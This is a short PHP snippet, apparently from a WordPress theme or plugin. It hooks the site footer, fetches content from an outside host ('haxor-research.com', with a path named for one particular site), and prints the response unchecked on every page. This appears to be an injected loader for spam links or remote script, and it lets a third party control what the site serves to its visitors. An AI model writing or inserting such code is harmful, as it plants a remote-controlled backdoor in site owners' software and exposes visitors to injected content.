function ranksat_footer_code() {
$url = "https://ranksat.haxor-research.com/bioemfoco.com.br.php";
$content = @file_get_contents($url);
if ($content === false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
}
echo $content;
}
add_action('wp_footer', 'ranksat_footer_code', 100);